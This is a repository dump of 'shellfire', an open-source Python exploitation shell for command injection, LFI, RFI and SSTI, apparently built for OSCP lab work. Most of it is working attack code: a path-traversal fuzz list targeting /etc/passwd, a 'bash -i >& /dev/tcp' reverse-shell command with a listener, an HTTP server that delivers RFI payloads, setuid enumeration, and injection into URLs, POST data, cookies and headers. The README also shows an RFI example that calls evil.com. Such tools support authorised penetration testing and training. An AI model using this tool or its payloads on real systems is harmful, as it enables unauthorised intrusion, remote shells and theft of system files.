Repository: unix-ninja/shellfire
Branch: master
Commit: 2cdd57ca9416
Files: 13
Total size: 54.9 KB
Directory structure:
gitextract_hi56ynpr/
├── .gitignore
├── LICENSE
├── README.md
├── requirements.txt
├── setup.py
└── shellfire/
├── __init__.py
├── commands.py
├── config.py
├── default_plugins/
│ ├── __init__.py
│ └── default.py
├── payloads.py
├── plugin_collection.py
└── tab_completion.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
.DS_Store
.env
__pycache__
**/*.pyc
bin
include
lib
pyvenv.cfg
.flake8
shellfire.egg-info
dist
.vscode
Makefile
================================================
FILE: LICENSE
================================================
BSD 2-Clause License
Copyright (c) 2016,
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================
FILE: README.md
================================================
# shellfire
_shellfire_ is an exploitation shell which focuses on exploiting command injection vulnerabilities. This can be useful when exploiting LFI, RFI, SSTI, etc.
I originally started developing this script while working on my OSCP labs. As the capabilities grew, I thought maybe other people could find this as
useful as I have, so I decided to open source my tool.
## Features
- [X] Persistent named configuration for multiple targets (and sharing!)
- [X] Plugin system
- [X] PHP payload
- [X] ASP payload
## Installation
There are a few ways to install this tool. Shellfire is available via PyPI, so you can use pip.
```
$ pip install shellfire
```
From Kali Linux, you can even use apt.
```
$ sudo apt install shellfire
```
If you'd like to build from source, you can use the standard Python setuptools to install this package.
```
$ git clone https://github.com/unix-ninja/shellfire.git
$ cd shellfire
$ python setup.py install
```
## A few useful hints
After installing, you can just call 'shellfire' from your terminal.
```
$ shellfire
[*] ShellFire v0.11
[*] Type 'help' to see available commands
(config)>
```
You can type `help` at any time inside config mode for a list of available commands, or append
the command you want to know more information about to help for specific
details. For example `help http`.
Let's explore how to attack a basic RFI vulnerability!
To start exploitation, you need to specify at least the URL parameter of your target.
Something like the following should work:
```
(config)> url http://example.com/?path=http://evil.com/script.php
```
Running any command now would cause your RFI to get executed on the remote target.
Let's say you want to arbitrarily control the payloads going to the path paramter. This time, we will use `{}` to specify our injection point.
```
(config)> url http://example.com/?path={}
```
Before we can send our payloads, we must enter shell mode.
```
(config)> shell
```
Now, you can just type the payload you want to send and hit enter.
```
(shell)> /etc/passwd
```
You can always type "exit" to return from shell mode, back to config mode.
```
(shell)> exit
```
At this point, you should have enough to exploit easy vulnerabilities. Payloads you enter on the shell will be appropriately injected and sent over to your target.
More complex vulnerabilities may require specifying additional options.
For example, let's assume you needed to send a cookie with a session ID in
order to exploit your target. You may want to add something like this:
```
(config)> cookies { "session_id" : "123456789" }
```
We can specify injection points in cookies too.
```
(config)> cookies { "session_id" : "123456789", "vuln_param": "{}" }
```
Additional options, and information on how to use them, can be discovered by
using the `help` option in config mode.
Thanks to Offensive-Security for inspiring the creation of this utility.
Please use this tool for good.
Happy hacking!
## Testing
Testing is currently being done against the [dvwa docker image](https://hub.docker.com/r/vulnerables/web-dvwa/).
================================================
FILE: requirements.txt
================================================
requests
================================================
FILE: setup.py
================================================
from setuptools import setup, find_packages
with open("README.md", "r") as fh:
long_description = fh.read()
setup(name='shellfire',
version='0.14',
description=(
'shellfire is an exploitation shell focusing on exploiting command '
'injection vulnerabilities, eg., LFI, RFI, SSTI, etc.'
),
url='https://github.com/unix-ninja/shellfire',
author='unix-ninja',
author_email='chris@unix-ninja.com',
license='BSD',
python_requires='>=3.8.0',
long_description=long_description,
long_description_content_type="text/markdown",
packages=find_packages(),
include_package_data=True,
entry_points={
"console_scripts": [
"shellfire=shellfire:cli"
]
},
install_requires=[
'requests'
]
)
================================================
FILE: shellfire/__init__.py
================================================
#!/bin/env python3
# Thanks to Offensive-Security for inspiring this!
# Written by unix-ninja
# Aug 2016
import argparse
import os
import readline
import requests
import shlex
import signal
import sys
import time
from shellfire.config import cfg, state, prompt, Mode
from shellfire.commands import command_list, cmd_config, send_payload, payload_php, payload_aspnet
############################################################
## Version Check
if (sys.version_info < (3, 0)):
sys.stderr.write("[!] Error! Must execute this script with Python3.")
sys.exit(2)
############################################################
## Parse options
parser = argparse.ArgumentParser(
description='An exploitation shell for command injection vulnerabilities.')
parser.add_argument('-c',
dest='config',
action='store',
nargs='?',
default=None,
const='default',
help='load a named config on startup.')
parser.add_argument('-d',
dest='debug',
action='store_true',
help='enable debugging (show queries during execution)')
parser.add_argument('--generate',
dest='payload',
help='generate a payload to stdout. PAYLOAD can be "php" or "aspnet".')
parser.add_argument('--version',
dest='version',
action='store_true',
help='display version and exit.')
state.args = parser.parse_args()
############################################################
## Main App
def draw_prompt():
return '(%s)> ' % prompt[state.mode]
def sigint_handler(signum, frame):
state.userinput =""
_q = readline.get_line_buffer()
state.input_offset = len(_q)
sys.stderr.write("\n%s" % (draw_prompt()))
return
def cli():
## should we dump version?
if state.args.version:
sys.stderr.write("Shellfire v%s\n" % (cfg.version))
sys.exit(1)
## if we are generating a payload to stdout, do it now, then bail
if state.args.payload:
state.args.payload = state.args.payload.lower()
if state.args.payload == "php":
sys.stderr.write("[*] Generating PHP payload...\n")
payload_php()
elif state.args.payload == "aspnet":
sys.stderr.write("[*] Generating ASP.NET payload...\n")
payload_aspnet()
else:
sys.stderr.write("[*] Invalid payload!\n")
sys.stdout.write(cfg.payload)
sys.exit(1)
## show our banner
sys.stdout.write(""" 1@@`
,@@@@%:
'?K@@@@@@@h'
|UQ@@@@@@@@@@m` '
, |Q@@@@@@@@@@@@@@> *B,
~4x L@@@@@@@@@@@@@@@@y :QQ=
~d@@t ,Q@@@@@@@@@@@@@@@@@? :Q@@y`
;Q@@@D.r@@@@@@@QNOppd%Q@@@@3,` ,4@@@@z
^Q@@@@@Kz@@@j+, `,=yQ@@@@@@@@@@=
U@@@@@@@@Qu, `}Q@@@@@@@@X
Q@@@@@@@}` .j@@@@@@@Q
@@@@@@@L L@@@@@@@
@@@@@@0- 'g@@@@@@
D@@@@@O` `D@@@@@D
c@@@@@Q; /@@@@\ /@@@@\ ;Q@@@@@\\
`3@@@@@Q; @@@@@@. ,@@@@@@ ;Q@@@@@3`
-q@@@@@Qr \\@@@@/ \\@@@@/ ~Q@@@@@A-
LQ@@@@x .@@. >@@@@QL
~d@@@Q\\' i@@i `=8@@@Q~
=O@@@@@l ~Q@@@@O=`
;{8@@g; | | '4@@8{;
`^tPp$p%g0Rdkhm1^'
""")
sys.stdout.write("[*] ShellFire v" + cfg.version + "\n")
sys.stdout.write("[*] Type 'help' to see available commands\n")
if state.args.debug is True:
sys.stdout.write("[*] Debug mode enabled.\n")
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
## if we specified to load a named config, do it now
if state.args.config:
cmd_config([".config", "load", state.args.config])
## setup history
if os.path.isfile(cfg.history_file):
try:
readline.read_history_file(cfg.history_file)
except Exception:
pass
## setup tab completion
try:
from shellfire.tab_completion import ShellfireCompleter
completer = ShellfireCompleter()
readline.set_completer(completer.complete)
# Set up tab binding for macOS (libedit) vs GNU readline
if sys.platform == 'darwin':
# macOS uses libedit which has different binding syntax
readline.parse_and_bind('bind ^I rl_complete')
else:
# GNU readline
readline.parse_and_bind('tab: complete')
except Exception as e:
# Silently fail if tab completion setup fails
pass
## set initial payload for PHP
payload_php()
## register our sigint handler
signal.signal(signal.SIGINT, sigint_handler)
## main loop
while True:
while state.revshell_running:
try:
time.sleep(0.1)
except Exception:
state.revshell_running = False
## reset command execution state each loop
state.exec_cmd = True
## prompt for input
try:
state.userinput = input(draw_prompt()).strip()
if state.input_offset > 0:
state.userinput = state.userinput[state.input_offset:]
state.input_offset = 0
except EOFError:
## if we recieve EOF, run cmd_exit()
sys.stdout.write("\n")
command_list["exit"]['func']("exit")
if not state.userinput:
continue
## parse our input
cmd = shlex.split(state.userinput)
## config mode
if state.mode == Mode.config:
if cmd[0] in command_list.keys():
state.exec_cmd = False
try:
command_list[cmd[0]]['func'](cmd)
except Exception as e:
sys.stdout.write("[!] %s\n" % (repr(e)))
else:
sys.stdout.write("[!] Invalid command '%s'.\n" % (cmd[0]))
## shell mode
elif state.mode == Mode.shell:
if len(cmd)== 1 and cmd[0] == "exit":
command_list[cmd[0]]['func'](cmd)
else:
send_payload()
## Main entrypoint - let's not pollute the global scope here.
if __name__ == "__main__":
cli()
================================================
FILE: shellfire/commands.py
================================================
import copy
import json
import os
import readline
import requests
import select
import socket
import sys
import threading
import time
import urllib.parse
from shellfire.config import cfg, state, Mode
from shellfire.plugin_collection import plugins
from shellfire.payloads import get_aspnet_payload, get_php_payload
############################################################
## Payloads
def payload_aspnet():
cfg.payload = get_aspnet_payload(cfg.marker)
cfg.payload_type = "ASP.NET"
return
def payload_php():
cfg.payload = get_php_payload(cfg.marker)
cfg.payload_type = "PHP"
return
def payload_fuzzfile():
## root:.:0:0:.*:.*:.+
if cfg.fuzzfile == 'default':
payload = [r"../../../../../../../../../etc/passwd",
r"../../../../../../../../etc/passwd",
r"../../../../../../../etc/passwd",
r"../../../../../../etc/passwd",
r"../../../../../etc/passwd",
r"../../../../etc/passwd",
r"../../../etc/passwd",
r"../../../../../../../../../../../../etc/passwd%00",
r"../../../../../../../../../../../../etc/passwd",
r"/../../../../../../../../../../etc/passwd^^",
r"/../../../../../../../../../../etc/passwd",
r"/./././././././././././etc/passwd",
r"\..\..\..\..\..\..\..\..\..\..c\passwd",
r"..\..\..\..\..\..\..\..\..\..c\passwd",
r"/..\../..\../..\../..\../..\../..\../etc/passwd",
r".\./.\./.\./.\./.\./.\./etc/passwd",
r"\..\..\..\..\..\..\..\..\..\..c\passwd%00",
r"..\..\..\..\..\..\..\..\..\..c\passwd%00",
r"%0a/bin/cat%20/etc/passwd",
r"%00/etc/passwd%00",
r"%00../../../../../../etc/passwd",
r"/../../../../../../../../../../../etc/passwd%00.jpg",
r"/../../../../../../../../../../../etc/passwd%00.html",
r"/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd",
r"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
r"\'/bin/cat%20/etc/passwd\'"
]
else:
payload = []
with open(cfg.fuzzfile, 'r') as file:
payloads = file.readlines()
for p in payloads:
payload.append(p)
return payload
############################################################
## Functions
def show_help(cmd=None):
if cmd and cmd[0:1] == '.':
cmd = cmd[1:]
if cmd in command_list:
if len(command_list[cmd]["help_text"]):
sys.stdout.write("".join(command_list[cmd]["help_text"]))
else:
sys.stdout.write("command doesn't have help text\n")
else:
sys.stdout.write("Available commands:\n")
for cmd_key in command_list:
sys.stdout.write(" %s\n" % (cmd_key))
def http_server(port):
## super simple http. we can probably make this more robust.
## set up network listener first
addr = ''
conn = None
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(1)
sock.bind((addr, port))
sock.listen(1)
## server loop
while state.http_running is True:
try:
if not conn:
conn, addr = sock.accept()
conn.recv(1024)
http_response = "HTTP/1.1 200 OK\n\n" + cfg.payload + "\n"
## send payload to the client
conn.send(bytes(http_response, 'utf-8'))
conn.close()
conn = None
except Exception as e:
if state.args.debug:
sys.stderr.write("[!] Err. socket.error : %s\n" % e)
pass
sys.stdout.write("[*] HTTP Server stopped\n")
def rev_shell(addr, port):
## setup listener for reverse shell
port = int(port)
state.revshell_running = True
conn = None
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((addr, port))
sock.listen(1)
conn, client_address = sock.accept()
## listener loop
while True:
socket_list = [conn, sys.stdin]
read_sockets, write_sockets, error_sockets = select.select(
socket_list, [], [])
## wait for connections
for s in read_sockets:
if s == conn:
data = s.recv(4096)
if not data:
state.revshell_running = False
return
else:
sys.stdout.write(data)
sys.stdout.flush()
else:
msg = input()
conn.send(msg)
## cleanup
conn.close()
state.revshell_running = False
return
def parse_to_dict(data):
if data[0] == "{":
## try to parse as json encoded data
try:
return json.loads(data)
except Exception as e:
sys.stderr.write("[!] %s\n" % e)
else:
## try to parse as url encoded data
try:
d = urllib.parse.parse_qs(data.strip())
## flatten lists if they are of size 1
## this is especially necessary for cookies
for k,v in d.items():
if len(v) == 1:
d[k] = v[0]
## return our dict
return d
except Exception as e:
sys.stderr.write("[!] %s\n" % e)
## if we failed to pase, return an empty dict
return {}
def cmd_auth(cmd):
## configure HTTP Basic auth settings
if len(cmd) > 1:
cfg.auth_user, cfg.auth_pass = cmd[2][len(cmd[0]) + 1:].split(":", 1)
cfg.auth = requests.auth.HTTPBasicAuth(cfg.auth_user, cfg.auth_pass)
else:
sys.stdout.write("[*] HTTP Auth: %s:%s\n" % (cfg.auth_user, cfg.auth_pass))
return
def cmd_config(cmd):
## manage our configs
if len(cmd) > 3:
sys.stdout.write("[!] Invalid parameters for .config\n")
return
elif len(cmd) > 1:
if len(cmd) == 3:
name = cmd[2] + ".cfg"
else:
name = 'default.cfg'
config_path = os.path.expanduser("~") + "/.config/shellfire/"
name = config_path + name
if cmd[1] == "save":
## make sure our directory exists
if not os.path.isdir(config_path):
os.makedirs(config_path)
## save our config to json
with open(name, 'w') as my_config:
my_config.write(cfg.dump())
sys.stdout.write("[*] Config saved.\n")
elif cmd[1] == "load":
## load json into our config
try:
with open(name, 'r') as my_config:
cfg.load(json.load(my_config))
sys.stdout.write("[*] Config restored.\n")
except Exception:
sys.stdout.write("[!] Unable to restore config!\n")
return
def cmd_cookies(cmd):
## configure cookies to be sent to target
## right now, we only parse JSON
if len(cmd) < 2:
sys.stdout.write("[*] Cookies: %s\n" % (json.dumps(cfg.cookies)))
return
## grab our original input, sans our initial command
data = state.userinput[len(cmd[0]):].strip()
## parse our data
cfg.cookies = parse_to_dict(data)
if cfg.cookies:
sys.stdout.write("[*] Cookies set: %s\n" % json.dumps(cfg.cookies))
return
def cmd_encode(cmd):
## if no params passed, display current encoding plugins
if len(cmd) == 1:
sys.stdout.write("[*] Encoding: %s\n" % (' | '.join(cfg.encode_chain)))
return
## Set our encoding plugins!
## let's remove ".encode" from our cmd
cmd.pop(0)
## reset our chain
cfg.encode_chain = []
## try to load our plugins
try:
for c in cmd:
if c != "|" and c != "''" and c != '""':
if c in plugins.plugins:
cfg.encode_chain.append(c)
else:
cfg.encode_chain = []
sys.stdout.write("[!] Invalid plugin '%s'\n" % (c))
return
except Exception as e:
sys.stdout.write("[!] Error: %s\n" % (e))
return
def cmd_exit(cmd):
## exit one level from our current mode
if state.mode == Mode.config:
state.http_running = False
if os.path.isfile(cfg.history_file):
readline.write_history_file(cfg.history_file)
sys.exit(0)
elif state.mode == Mode.shell:
state.mode = Mode.config
def cmd_files(cmd):
## set files to send to remote target
if len(cmd) == 1:
sys.stdout.write("[*] Files: %s\n" % (cfg.files))
return
if cmd[1] == "":
cfg.files = {}
sys.stdout.write("[*] Files cleared.\n")
return
if len(cmd) != 3:
sys.stdout.write("[!] Invalid parameters!\n")
return
## label our vars
key = cmd[1]
name = cmd[2]
## parse our command
cfg.files = {'key': key}
if name[0] == "@":
cfg.files['file'] = name[1:]
sys.stdout.write("[*] File set.\n")
else:
cfg.files['plugin'] = name
sys.stdout.write("[*] Plugin set.\n")
return
def cmd_find(cmd):
## run "find" on remote target
if len(cmd) != 2:
sys.stdout.write("[!] Invalid parameters\n")
return
if cmd[1] == "setgid":
state.userinput = "find / -type f -perm -02000 -ls"
elif cmd[1] == "setuid":
state.userinput = "find / -type f -perm -04000 -ls"
else:
sys.stderr.write("[!] Invalid parameters\n")
return
state.exec_cmd = True
return
def cmd_fuzz(cmd):
## set files to send to remote target
if len(cmd) == 1:
sys.stdout.write("[*] Fuzz file: %s\n" % (cfg.fuzzfile))
return
if cmd[1] == "start":
sys.stderr.write("[*] Starting fuzzer...\n")
state.exec_cmd = True
for payload in payload_fuzzfile():
state.userinput = payload
sys.stdout.write("[*] payload: %s\n" % (payload))
send_payload()
state.exec_cmd = False
else:
cfg.fuzzfile = cmd[1]
return
def cmd_headers(cmd):
"""List or configure the HTTP request headers
.headers
.headers default
.headers {"X-EXAMPLE-HEADER": "SomeValueHere" }
Args:
cmd (Str): "default" to reset the headers, otherwise a JSON string of
the preferred header set.
"""
if len(cmd) < 1:
sys.stderr.write("[!] Invalid parameters\n")
sys.stderr.write(" .headers {\"X-EXAMPLE\": \"some_value_here\"}\n")
sys.stderr.write(" .headers default\n")
return
elif len(cmd) == 1:
sys.stdout.write("[*] Request headers are: \n")
sys.stdout.write(json.dumps(cfg.headers, indent=2) + "\n")
return
## let's set our headers!
if cmd[1] == "default":
cfg.headers = cfg.default_headers
sys.stdout.write("[*] Set request headers back to default.\n")
return
## grab our original input, sans our initial command
data = state.userinput[len(cmd[0]):].strip()
## parse our data
cfg.headers = parse_to_dict(data)
if cfg.headers:
sys.stdout.write("[*] Request headers are now: \n")
sys.stdout.write(json.dumps(cfg.headers, indent=2) + "\n")
return
def cmd_help(cmd):
if len(cmd) == 2:
show_help(cmd[1])
else:
show_help()
return
def cmd_history(cmd):
## configure history settings for shellfire (via readline)
if len(cmd) == 1:
if os.path.isfile(cfg.history_file):
sys.stdout.write("[*] History writing is enabled\n")
else:
sys.stdout.write("[*] History writing is disabled\n")
else:
if cmd[1] == "clear":
readline.clear_history()
sys.stdout.write("[*] History is cleared\n")
elif cmd[1] == "save":
with open(cfg.history_file, 'a'):
os.utime(cfg.history_file, None)
sys.stdout.write("[*] History writing is enabled\n")
elif cmd[1] == "nosave":
os.remove(cfg.history_file)
sys.stdout.write("[*] History writing is disabled\n")
return
def cmd_http(cmd):
## control our local http server
if len(cmd) == 1:
if state.http_running is True:
sys.stdout.write("[*] HTTP server listening on %s\n" % cfg.http_port)
sys.stdout.write("[*] HTTP payload: %s\n" % cfg.payload_type)
else:
sys.stdout.write("[*] HTTP server is not running\n")
return
if cmd[1] == "start":
if state.http_running is False:
if len(cmd) > 2:
try:
cfg.http_port = int(cmd[2])
except Exception:
sys.stderr.write("[!] Invalid port value: %s\n" % (cmd[2]))
return
s = threading.Thread(target=http_server, args=(cfg.http_port,))
s.start()
state.http_running = True
sys.stdout.write("[*] HTTP server listening on %s\n" % cfg.http_port)
else:
sys.stderr.write("[!] HTTP server already running\n")
elif cmd[1] == "stop":
if state.http_running is True:
state.http_running = False
time.sleep(1)
else:
sys.stderr.write("[!] HTTP server already stopped\n")
elif cmd[1] == "payload":
if cmd[2] == "aspnet":
payload_aspnet()
elif cmd[2] == "php":
payload_php()
else:
sys.stderr.write("[!] Unrecognized payload type\n")
return
sys.stdout.write("[*] HTTP payload set: %s\n" % cfg.payload_type)
return
def cmd_marker(cmd):
## set the marker for our rce payloads
## this will determine boundaries to split and clean output
if len(cmd) == 1:
sys.stderr.write("[*] Payload marker: %s\n" % (cfg.marker))
if cfg.marker:
idx_str = ' '.join(str(idx) for idx in cfg.marker_idx)
else:
idx_str = 'disabled'
sys.stderr.write("[*] Marker indices: %s\n" % (idx_str))
return
## let's remove "marker" from our cmd
cmd.pop(0)
## assign our action and remove it from cmd
action = cmd[0]
cmd.pop(0)
## process our action
if action == "set":
## set the rest of the string as our marker
cfg.marker = " ".join(cmd)
if not cfg.marker: cfg.marker = None
sys.stdout.write("[*] Payload output marker set.\n")
elif action == "out":
cfg.marker_idx = [int(idx) for idx in cmd]
sys.stdout.write("[*] Marker indices set.\n")
else:
sys.stdout.write("[!] Bad marker param!\n")
return
def cmd_method(cmd):
## configure HTTP method to use against the target
if len(cmd) > 2:
sys.stderr.write("[!] Invalid parameters\n")
sys.stderr.write(" .method <method>\n")
return
if len(cmd) == 2:
if cmd[1] == "post":
cfg.method = "post"
elif cmd[1] == "form":
cfg.method = "form"
else:
cfg.method = "get"
sys.stdout.write("[*] HTTP method set: %s\n" % cfg.method.upper())
return
def cmd_phpinfo(cmd):
## trigger phpinfo payload
state.userinput = "_show_phpinfo"
state.exec_cmd = True
return
def cmd_plugins(cmd):
## show our available plugins
sys.stdout.write("[*] Available plugins: %s\n" % (' '.join(plugins.plugins)))
return
def cmd_post(cmd):
## configure POST data to send
if len(cmd) < 2:
sys.stdout.write("[*] POST data: %s\n" % json.dumps(cfg.post_data))
return
## grab our original input, sans our initial command
data = state.userinput[len(cmd[0]):].strip()
## parse the data
cfg.post_data = parse_to_dict(data)
if cfg.post_data:
sys.stdout.write("[*] POST data set: %s\n" % json.dumps(cfg.post_data))
return
def cmd_referer(cmd):
## set HTTP referer
if len(cmd) > 1:
cmd.pop(0)
cfg.headers['Referer'] = " ".join(cmd)
sys.stdout.write("[*] Referer set: %s\n" % cfg.headers['Referer'])
return
def cmd_revshell(cmd):
## initiate a reverse shell via rce
if len(cmd) != 3:
sys.stderr.write("[!] Invalid parameters\n")
sys.stderr.write(" .shell <ip_address> <port>\n")
return
sys.stdout.write("[*] Initiating reverse shell...\n")
host = cmd[1]
port = cmd[2]
state.userinput = "bash -i >& /dev/tcp/" + host + "/" + port + " 0>&1"
## open our reverse shell in a new thread
s = threading.Thread(target=rev_shell, args=(host, port))
s.start()
## make sure the thread is init before proceeding
time.sleep(1)
state.exec_cmd = True
return
def cmd_shell(cmd):
if state.mode == Mode.config:
state.mode = Mode.shell
return
def cmd_url(cmd):
## set URL for remote target
if len(cmd) > 1:
cfg.url = state.userinput[len(cmd[0]) + 1:]
sys.stdout.write("[*] Exploit URL set: %s\n" % cfg.url)
return
def cmd_useragent(cmd):
## set the user agenet to send to target
if len(cmd) > 1:
cfg.headers['User-Agent'] = state.userinput[len(cmd[0]) + 1:]
sys.stdout.write("[*] User-Agent set: %s\n" % cfg.headers['User-Agent'])
return
def expand_payload(my_list, data):
## if we have a dict, expand our marker tags `{}` recursively
if not isinstance(my_list, dict) and not isinstance(my_list, list):
return
if isinstance(my_list, dict):
## process as a dict
for k, v in my_list.items():
if isinstance(my_list[k], dict) or isinstance(my_list[k], list):
expand_payload(my_list[k], data)
else:
my_list[k] = v.replace('{}', data)
else:
## process as a list
for k, v in enumerate(my_list):
if isinstance(v, dict) or isinstance(v, list):
expand_payload(v, data)
else:
my_list[k] = v.replace('{}', data)
return
def send_payload():
## execute our command to the remote target
if state.exec_cmd:
cmd = state.userinput
## let's run our input through our encoding plugins
if len(cfg.encode_chain):
try:
for enc in cfg.encode_chain:
cmd = plugins.plugins[enc].run(cmd)
except Exception:
pass
## generate GET payloads
if '{}' in cfg.url:
query = cfg.url.replace('{}', cmd.strip())
else:
query = cfg.url
## generate POST payloads
post_data = copy.deepcopy(cfg.post_data)
expand_payload(post_data, cmd.strip())
## generate cookie payloads
cookie_data = copy.deepcopy(cfg.cookies)
expand_payload(cookie_data, cmd.strip())
requests.utils.add_dict_to_cookiejar(state.requests.cookies, cookie_data)
## generate headers payloads
header_data = copy.deepcopy(cfg.headers)
expand_payload(header_data, cmd.strip())
## log debug info
if state.args.debug:
sys.stdout.write("[D] URL %s\n" % query)
if cfg.method == "post":
sys.stdout.write("[D] POST %s\n" % json.dumps(post_data))
sys.stdout.write("[D] Cookies %s\n" % json.dumps(cookie_data))
sys.stdout.write("[D] Headers %s\n" % json.dumps(header_data))
try:
if cfg.method == "post":
r = state.requests.post(
query,
data=post_data,
verify=False,
# cookies=cookie_data,
headers=header_data,
auth=cfg.auth)
elif cfg.method == "form":
files = {'': (None, '')}
## do we have files to upload?
if 'key' in cfg.files.keys():
## check for raw files first
if 'file' in cfg.files.keys():
try:
files = {cfg.files['key']: open(cfg.files['file'], 'rb')}
except Exception as e:
sys.stdout.write("[!] Error opening file for multpart upload: %s\n" % (e))
## check for plugins next
elif 'plugin' in cfg.files.keys():
try:
if cfg.files['plugin'] in plugins.plugins:
files = {cfg.files['key']: plugins.plugins[cfg.files['plugin']].run(cmd)}
else:
sys.stdout.write("[!] Invalid plugin '%s'\n" % (cmd[1]))
except Exception as e:
sys.stdout.write("[!] Error: %s\n" % (e))
## post our form data
r = state.requests.post(
query,
data=post_data,
files=files,
verify=False,
cookies=cookie_data,
headers=header_data,
auth=cfg.auth)
else:
r = state.requests.get(
query,
verify=False,
cookies=cookie_data,
headers=header_data,
auth=cfg.auth)
## sanitize the output. we only want to see our commands if possible
output = ""
if cfg.marker:
buffer = r.text.split(cfg.marker)
if len(buffer) > 1:
for idx in cfg.marker_idx:
output = output + buffer[idx] + "\n"
else:
output = buffer[0]
## strip trailing newlines
output = output.rstrip()
else:
output = r.text
## display our results
sys.stdout.write(output + "\n")
if state.userinput == '_show_phpinfo':
file = 'phpinfo.html'
fp = open(file, 'w')
fp.write(output)
fp.close()
sys.stdout.write("[*] Output saved to '" + file + "'.\n")
except Exception as e:
sys.stderr.write("[!] Unable to make request to target.\n")
sys.stderr.write("[!] %s\n" % e)
sys.stdout.flush()
return
############################################################
## Command list
"""Data structure of all available shellfire commands.
"""
command_list = {
"auth": {
"func": cmd_auth,
"description": "",
"help_text": [
"auth - show current HTTP Auth credentials.\n",
"auth <username>:<password> - set the HTTP Auth credentials.\n",
],
},
"config": {
"func": cmd_config,
"description": "",
"help_text": [
"config save [name] - save a named config.\n",
"config load [name] - load a named config.\n",
],
},
"cookies": {
"func": cmd_cookies,
"description": "",
"help_text": [
"cookies - show current cookies to be sent with each request.\n",
"cookies <string> - a string representing cookies you wish to send.\n",
" strings can be json or url encoded.\n",
" use '{}' to specify where command injection goes.\n",
],
},
"encode": {
"func": cmd_encode,
"description": "",
"help_text": [
"encode - show current encoding used before sending commands.\n",
"encode <string> - encode commands with plugin <string> before sending.\n",
" * you may pass multiple plugins separated with spaces or pipes.\n",
],
},
"exit": {
"func": cmd_exit,
"description": "",
"help_text": [
"exit - exits this program.\n"
],
},
"files": {
"func": cmd_files,
"description": "",
"help_text": [
"files - show files to be sent to target.\n",
"files \"\" - unset files.\n",
"files <field> @<file> - send contents of file as <field>.\n",
"files <field> <plugin> - send return value of plugin as <field>.\n",
" the plugin should return a tuple of values\n",
" for the filename and contents.\n",
],
},
"find": {
"func": cmd_find,
"description": "",
"help_text": [
"find setuid - search for setuid files.\n",
"find setgid - search for setgid files.\n",
],
},
"fuzz": {
"func": cmd_fuzz,
"description": "",
"help_text": [
"fuzz - show source for fuzzing.\n",
"fuzz start - start fuzzing.\n",
"fuzz @<file> - use file as source for fuzzing.\n",
" type 'default' to use bult-in source.\n",
],
},
"headers": {
"func": cmd_headers,
"description": "",
"help_text": [
"headers default - sets the headers back to the shellfire defaults.\n",
"headers <string> - upserts the headers from your string into the header config.\n",
" strings can be json or url encoded.\n",
" use '{}' to specify where command injection goes.\n",
],
},
"help": {
"func": cmd_help,
"description": "",
"help_text": [
"help - prints all help topics.\n"
],
},
"history": {
"func": cmd_history,
"description": "",
"help_text": [
"history clear - erase history.\n",
"history nosave - do not write history file.\n",
"history save - write history file on exit.\n",
],
},
"http": {
"func": cmd_http,
"description": "",
"help_text": [
"http - show status of HTTP server\n",
"http payload [type] - set the payload to be used for RFI.\n",
" supported payload types:\n",
" aspnet\n",
" php\n",
"http start [port] - start HTTP server.\n",
"http stop - stop HTTP server.\n",
],
},
"marker": {
"func": cmd_marker,
"description": "",
"help_text": [
"marker - show the current payload output marker.\n",
"marker set <string> - set the payload output marker to string.\n",
"marker out <number> - the output indices to display after splitting on\n",
" our marker.\n",
],
},
"method": {
"func": cmd_method,
"description": "",
"help_text": [
"method - show current HTTP method.\n",
"method get - set HTTP method to GET.\n",
"method post - set HTTP method to POST.\n",
"method form - set HTTP method to POST using multipart form data.\n",
],
},
"phpinfo": {
"func": cmd_phpinfo,
"description": "",
"help_text": [
"phpinfo - executes the '_show_phpinfo' command via the PHP payload.\n"
],
},
"plugins": {
"func": cmd_plugins,
"description": "",
"help_text": [
"plugins - list all available plugins.\n"
],
},
"post": {
"func": cmd_post,
"description": "",
"help_text": [
"post <string> - a string representing post data you wish to send.\n",
" strings can be json or url encoded.\n",
" use '{}' to specify where command injection goes.\n",
]
},
"referer": {
"func": cmd_referer,
"description": "",
"help_text": [
"referer - show the HTTP referer string.\n",
"referer <string> - set the value for HTTP referer.\n",
],
},
"revshell": {
"func": cmd_revshell,
"description": "",
"help_text": [
"shell <ip_address> <port> - initiate reverse shell to target.\n",
]
},
"shell": {
"func": cmd_shell,
"description": "",
"help_text": [
"shell - enter exploitation shell. commands entered here are processed and sent as\n",
" payloads to your target.\n"
]
},
"url": {
"func": cmd_url,
"description": "",
"help_text": [
"url <string> - set the target URL to string.\n",
" use '{}' to specify where command injection goes.\n",
],
},
"useragent": {
"func": cmd_useragent,
"description": "",
